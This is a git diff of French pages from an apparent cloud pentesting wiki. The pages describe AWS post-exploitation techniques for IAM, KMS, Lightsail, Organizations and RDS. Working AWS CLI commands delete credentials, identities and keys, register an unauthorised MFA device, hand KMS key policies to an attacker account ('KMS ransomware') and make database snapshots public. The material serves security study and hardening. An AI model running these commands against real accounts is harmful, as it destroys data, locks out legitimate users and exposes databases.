Un moyen courant d'éviter les problèmes de Confused Deputy est d'utiliser une condition avec `AWS:SourceArn` pour vérifier l'ARN d'origine. Cependant, **certains services peuvent ne pas le prendre en charge** (comme CloudTrail d'après certaines sources).
|
||||
|
||||
### Suppression d'identifiants
|
||||
Avec l'une quelconque des permissions suivantes — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un acteur peut supprimer des clés d'accès, des profils de connexion, des clés SSH, des identifiants spécifiques au service, des profils d'instance, des certificats ou des CloudFront public keys, ou dissocier des rôles des profils d'instance. De telles actions peuvent immédiatement bloquer des utilisateurs et applications légitimes et provoquer un denial-of-service ou une perte d'accès pour les systèmes qui dépendent de ces identifiants, donc ces permissions IAM doivent être strictement restreintes et surveillées.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Suppression d'identités
|
||||
Avec des permissions comme `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, ou `iam:RemoveUserFromGroup`, un acteur peut supprimer des utilisateurs, des rôles ou des groupes — ou modifier l'appartenance à un groupe — supprimant des identités et les traces associées. Cela peut immédiatement interrompre l'accès pour les personnes et les services qui dépendent de ces identités, provoquant un déni de service ou une perte d'accès, donc ces actions IAM doivent être strictement restreintes et surveillées.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
###
|
||||
Avec l'une des permissions suivantes — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un acteur peut supprimer ou détacher des managed/inline policies, retirer des policy versions ou des permissions boundaries, et dissocier des policies des users, groups ou roles. Cela détruit des autorisations et peut modifier le modèle de permissions, entraînant une perte d'accès immédiate ou un déni de service pour les principals qui dépendaient de ces policies ; ces actions IAM doivent donc être strictement restreintes et surveillées.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Suppression d'identités fédérées
|
||||
Avec `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` et `iam:RemoveClientIDFromOpenIDConnectProvider`, un acteur peut supprimer des fournisseurs d'identité OIDC/SAML ou retirer des client IDs. Cela rompt l'authentification fédérée, empêche la validation des tokens et refuse immédiatement l'accès aux utilisateurs et services qui reposent sur le SSO jusqu'à ce que l'IdP ou les configurations soient restaurés.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Activation illégitime de MFA
|
||||
Avec `iam:EnableMFADevice`, un acteur peut enregistrer un dispositif MFA sur l'identité d'un utilisateur, empêchant l'utilisateur légitime de se connecter. Une fois qu'un MFA non autorisé est activé, l'utilisateur peut être bloqué jusqu'à ce que le dispositif soit supprimé ou réinitialisé (remarque : si plusieurs dispositifs MFA sont enregistrés, la connexion ne nécessite qu'un seul, donc cette attaque n'aura aucun effet pour refuser l'accès).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Altération des métadonnées de certificats/clés
|
||||
Avec `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un acteur peut modifier le statut ou les métadonnées des clés publiques et des certificats. En marquant les clés/certificats comme inactifs ou en altérant les références, il peut casser l'authentification SSH, invalider les validations X.509/TLS et perturber immédiatement les services qui dépendent de ces identifiants, entraînant une perte d'accès ou de disponibilité.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Références
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,182 +0,0 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Chiffrement/Déchiffrement des informations
|
||||
|
||||
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
|
||||
|
||||
- `fileb://:` Lit le fichier en mode binaire, couramment utilisé pour les fichiers non textuels.
|
||||
- `file://:` Lit le fichier en mode texte, typiquement utilisé pour les fichiers texte simples, scripts ou JSON qui n'ont pas d'exigences d'encodage spéciales.
|
||||
|
||||
> [!TIP]
|
||||
> Notez que si vous voulez déchiffrer des données contenues dans un fichier, le fichier doit contenir les données binaires, et non des données encodées en base64. (fileb://)
|
||||
|
||||
- Utilisation d'une clé **symétrique**
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Utiliser une clé **asymétrique**:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Un attaquant disposant d'un accès privilégié à KMS pourrait modifier la KMS policy des clés et **accorder à son compte l'accès à celles-ci**, supprimant l'accès accordé au compte légitime.
|
||||
|
||||
Ensuite, les utilisateurs du compte légitime ne pourront plus accéder à aucune information de tout service ayant été chiffré avec ces clés, créant un ransomware simple mais efficace sur le compte.
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que **AWS managed keys ne sont pas affectées** par cette attaque, seulement **Customer managed keys**.
|
||||
|
||||
> Notez également qu'il est nécessaire d'utiliser le paramètre **`--bypass-policy-lockout-safety-check`** (l'absence de cette option dans la console web rend cette attaque possible uniquement depuis la CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Notez que si vous modifiez cette policy et ne donnez l'accès qu'à un compte externe, puis que depuis ce compte externe vous essayez de définir une nouvelle policy pour **rendre l'accès au compte d'origine, vous n'y arriverez pas car l'action Put Polocy ne peut pas être effectuée depuis un cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
|
||||
Il existe une autre façon d'exécuter un KMS Ransomware global, qui impliquerait les étapes suivantes :
|
||||
|
||||
- Create a new **key with a key material** imported by the attacker
|
||||
- **Re-encrypt older data** of the victim encrypted with the previous version with the new one.
|
||||
- **Delete the KMS key**
|
||||
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
|
||||
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
Avec la permission `kms:DeleteImportedKeyMaterial`, un acteur peut supprimer le key material importé des CMKs ayant `Origin=EXTERNAL` (CMKs qui ont importé leur key material), les rendant incapables de déchiffrer des données. Cette action est destructive et irréversible à moins qu'un matériel compatible ne soit ré-importé, permettant à un attaquant de provoquer effectivement une perte de données de type ransomware en rendant les informations chiffrées définitivement inaccessibles.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Destruction des keys
|
||||
|
||||
La destruction des keys peut permettre d'effectuer un DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Notez qu'AWS empêche désormais **que les actions précédentes soient effectuées depuis un compte croisé :**
|
||||
|
||||
### Modifier ou supprimer un alias
|
||||
Cette attaque supprime ou redirige les alias AWS KMS, rompant la résolution des clés et provoquant des échecs immédiats dans tous les services qui dépendent de ces alias, entraînant un denial-of-service. Avec des permissions comme `kms:DeleteAlias` ou `kms:UpdateAlias` un attaquant peut supprimer ou réorienter des alias et perturber les opérations cryptographiques (e.g., encrypt, describe). Tout service qui référence l'alias au lieu du key ID peut échouer jusqu'à ce que l'alias soit restauré ou correctement remappé.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
Avec des permissions telles que `kms:CancelKeyDeletion` et `kms:EnableKey`, un acteur peut annuler une suppression planifiée d'une AWS KMS customer master key puis la réactiver ultérieurement. Ce faisant, il récupère la clé (initialement en état Disabled) et restaure sa capacité à déchiffrer des données protégées précédemment, permettant l'exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Disable Key
|
||||
Avec la permission `kms:DisableKey`, un acteur peut désactiver une AWS KMS customer master key, empêchant son utilisation pour l'encryption ou la decryption. Cela interrompt l'accès pour tous les services qui dépendent de ce CMK et peut provoquer des perturbations immédiates ou un denial-of-service jusqu'à ce que la clé soit réactivée.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Dériver un secret partagé
|
||||
Avec la permission `kms:DeriveSharedSecret`, un acteur peut utiliser une clé privée détenue par KMS ainsi qu'une clé publique fournie par l'utilisateur pour calculer un secret partagé ECDH.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Avec la permission `kms:Sign`, un acteur peut utiliser une KMS-stored CMK pour signer cryptographiquement des données sans exposer la private key, produisant des signatures valides qui peuvent permettre l'impersonation ou autoriser des actions malveillantes.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS avec Custom Key Stores
|
||||
Avec des permissions telles que `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ou `kms:UpdateCustomKeyStore`, un acteur peut modifier, déconnecter ou supprimer un AWS KMS Custom Key Store (CKS), rendant ses clés principales inopérantes. Cela empêche les opérations de chiffrement, de déchiffrement et de signature pour tous les services qui dépendent de ces clés et peut provoquer un denial-of-service immédiat. Il est donc crucial de restreindre et de surveiller ces permissions.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,182 @@
|
||||
# AWS - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Encrypt/Decrypt information
|
||||
|
||||
`fileb://` and `file://` sont des schémas d'URI utilisés dans les commandes AWS CLI pour spécifier le chemin vers des fichiers locaux:
|
||||
|
||||
- `fileb://:` Lit le fichier en mode binaire, couramment utilisé pour les fichiers non textuels.
|
||||
- `file://:` Lit le fichier en mode texte, généralement utilisé pour les fichiers texte simples, scripts ou JSON qui n'ont pas d'exigences d'encodage particulières.
|
||||
|
||||
> [!TIP]
|
||||
> Notez que si vous voulez decrypt des données à l'intérieur d'un fichier, le fichier doit contenir les données binaires, pas des données encodées en base64. (fileb://)
|
||||
|
||||
- Using a **symmetric** key
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Utiliser une clé **asymétrique** :
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--plaintext fileb:///tmp/hello.txt \
|
||||
--output text \
|
||||
--query CiphertextBlob | base64 \
|
||||
--decode > ExampleEncryptedFile
|
||||
|
||||
# Decrypt data
|
||||
aws kms decrypt \
|
||||
--ciphertext-blob fileb://ExampleEncryptedFile \
|
||||
--encryption-algorithm RSAES_OAEP_SHA_256 \
|
||||
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
|
||||
--output text \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Un attaquant disposant d'un accès privilégié à KMS peut modifier la KMS policy des clés et **accorder à son compte l'accès à celles-ci**, supprimant l'accès accordé au compte légitime.
|
||||
|
||||
Les utilisateurs du compte légitime ne pourront alors plus accéder à aucune information de tout service chiffré avec ces clés, créant un ransomware simple mais efficace contre le compte.
|
||||
|
||||
> [!WARNING]
|
||||
> Notez que **AWS managed keys ne sont pas affectées** par cette attaque, seulement les **Customer managed keys**.
|
||||
>
|
||||
> Notez aussi la nécessité d'utiliser le paramètre **`--bypass-policy-lockout-safety-check`** (l'absence de cette option dans la web console rend cette attaque possible uniquement depuis le CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
--policy-name default \
|
||||
--policy file:///tmp/policy.yaml \
|
||||
--bypass-policy-lockout-safety-check
|
||||
|
||||
{
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<your_own_account>:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Notez que si vous changez cette policy et ne donnez l'accès qu'à un external account, puis que depuis cet external account vous essayez de définir une nouvelle policy pour **give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Generic KMS Ransomware
|
||||
|
||||
Il existe une autre façon d'effectuer un global KMS Ransomware, qui impliquerait les étapes suivantes :
|
||||
|
||||
- Créer une nouvelle **key with a key material** importée par l'attacker
|
||||
- **Re-encrypt older data** of the victim encrypted with the previous version with the new one.
|
||||
- **Delete the KMS key**
|
||||
- Maintenant seul l'attacker, qui possède le original key material, pourra être capable de decrypt the encrypted data
|
||||
|
||||
### Delete Keys via kms:DeleteImportedKeyMaterial
|
||||
|
||||
Avec la permission `kms:DeleteImportedKeyMaterial`, un actor peut delete the imported key material des CMKs avec `Origin=EXTERNAL` (CMKs that have imperted their key material), les rendant incapables de decrypt data. Cette action est destructive et irréversible sauf si du compatible material est re-imported, permettant à un attacker de provoquer effectivement une perte de données de type ransomware en rendant l'information encrypted définitivement inaccessible.
|
||||
```bash
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Détruire les clés
|
||||
|
||||
En détruisant des clés, il est possible d'effectuer un DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Notez qu'AWS **empêche désormais que les actions précédentes soient effectuées depuis un autre compte :**
|
||||
|
||||
### Modifier ou supprimer Alias
|
||||
Cette attaque supprime ou redirige les aliases AWS KMS, rompant la résolution des clés et provoquant des échecs immédiats dans tous les services qui dépendent de ces aliases, entraînant un déni de service. Avec des permissions telles que `kms:DeleteAlias` ou `kms:UpdateAlias`, un attaquant peut supprimer ou rediriger des aliases et perturber les opérations cryptographiques (p. ex., encrypt, describe). Tout service qui référence l'alias au lieu du key ID peut échouer jusqu'à ce que l'alias soit restauré ou correctement réaffecté.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
Avec des permissions telles que `kms:CancelKeyDeletion` et `kms:EnableKey`, un acteur peut annuler une suppression programmée d'une AWS KMS customer master key et la réactiver plus tard. Ce faisant, il récupère la clé (initialement en état Disabled) et restaure sa capacité à déchiffrer des données précédemment protégées, permettant l'exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Désactiver la clé
|
||||
Avec la permission `kms:DisableKey`, un acteur peut désactiver une CMK (customer master key) AWS KMS, empêchant son utilisation pour le chiffrement ou le déchiffrement. Cela coupe l'accès pour tous les services qui dépendent de cette CMK et peut provoquer des perturbations immédiates ou un déni de service jusqu'à ce que la clé soit réactivée.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
Avec la permission `kms:DeriveSharedSecret`, un acteur peut utiliser une clé privée stockée dans KMS ainsi qu'une clé publique fournie par l'utilisateur pour calculer un secret partagé ECDH.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Avec la permission `kms:Sign`, un acteur peut utiliser une CMK stockée dans KMS pour signer cryptographiquement des données sans exposer la private key, produisant des signatures valides qui peuvent permettre l'impersonation ou autoriser des actions malveillantes.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS avec Custom Key Stores
|
||||
Avec des autorisations comme `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` ou `kms:UpdateCustomKeyStore`, un acteur peut modifier, déconnecter ou supprimer un AWS KMS Custom Key Store (CKS), rendant ses clés principales inopérantes. Cela interrompt les opérations de chiffrement, de déchiffrement et de signature pour tous les services qui dépendent de ces clés et peut provoquer un denial-of-service immédiat. Il est donc essentiel de restreindre et de surveiller ces autorisations.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,30 +0,0 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Restaurer d'anciens instantanés de DB
|
||||
|
||||
Si la DB a des instantanés, vous pourriez être en mesure de **trouver des informations sensibles actuellement supprimées dans d'anciens instantanés**. **Restaurez** l'instantané dans une **nouvelle base de données** et vérifiez-le.
|
||||
|
||||
### Restaurer les instantanés d'instance
|
||||
|
||||
Les instantanés d'instance peuvent contenir des **informations sensibles** d'instances déjà supprimées ou des informations sensibles qui sont supprimées dans l'instance actuelle. **Créez de nouvelles instances à partir des instantanés** et vérifiez-les.\
|
||||
Ou **exportez l'instantané vers un AMI dans EC2** et suivez les étapes d'une instance EC2 typique.
|
||||
|
||||
### Accéder à des informations sensibles
|
||||
|
||||
Consultez les options de privesc Lightsail pour apprendre différentes façons d'accéder à des informations sensibles potentielles :
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,30 @@
|
||||
# AWS - Lightsail Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Restaurer les anciens snapshots de DB
|
||||
|
||||
Si la DB possède des snapshots, vous pourriez être en mesure de **trouver des informations sensibles qui ont été supprimées dans d'anciens snapshots**. **Restaurez** le snapshot dans une **nouvelle base de données** et vérifiez-le.
|
||||
|
||||
### Restaurer les snapshots d'instance
|
||||
|
||||
Les snapshots d'instance peuvent contenir des **informations sensibles** d'instances déjà supprimées ou des informations sensibles supprimées dans l'instance actuelle. **Créez de nouvelles instances à partir des snapshots** et inspectez-les.\
|
||||
Ou **exportez le snapshot vers une AMI dans EC2** et suivez les étapes d'une instance EC2 typique.
|
||||
|
||||
### Accéder aux informations sensibles
|
||||
|
||||
Consultez les options de privesc Lightsail pour apprendre différentes façons d'accéder à d'éventuelles informations sensibles :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-lightsail-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,17 +0,0 @@
|
||||
# AWS - Organisations Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organisations
|
||||
|
||||
Pour plus d'informations sur AWS Organizations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Quitter l'Org
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,17 @@
|
||||
# AWS - Organizations Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizations
|
||||
|
||||
Pour plus d'informations sur AWS Organizations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Quitter l'Org
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - RDS Post-exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Si l'attaquant dispose des autorisations suffisantes, il peut rendre une **DB accessible au public** en créant un snapshot de la DB, puis en créant une DB accessible au public à partir du snapshot.
|
||||
Si l'attaquant dispose de permissions suffisantes, il peut rendre une **DB accessible publiquement** en créant un snapshot de la DB, puis une DB accessible publiquement à partir du snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Un attaquant disposant de ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **accessible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.
|
||||
Un attaquant disposant de ces permissions pourrait **créer un snapshot d'une DB** et le rendre **publiquement** **disponible**. Ensuite, il pourrait simplement créer dans son propre compte une DB à partir de ce snapshot.
|
||||
|
||||
Si l'attaquant **ne dispose pas de la `rds:CreateDBSnapshot`**, il pourrait néanmoins rendre **d'autres** snapshots créés **publics**.
|
||||
Si l'attaquant **n'a pas le `rds:CreateDBSnapshot`**, il pourrait quand même rendre **d'autres snapshots créés** **publics**.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
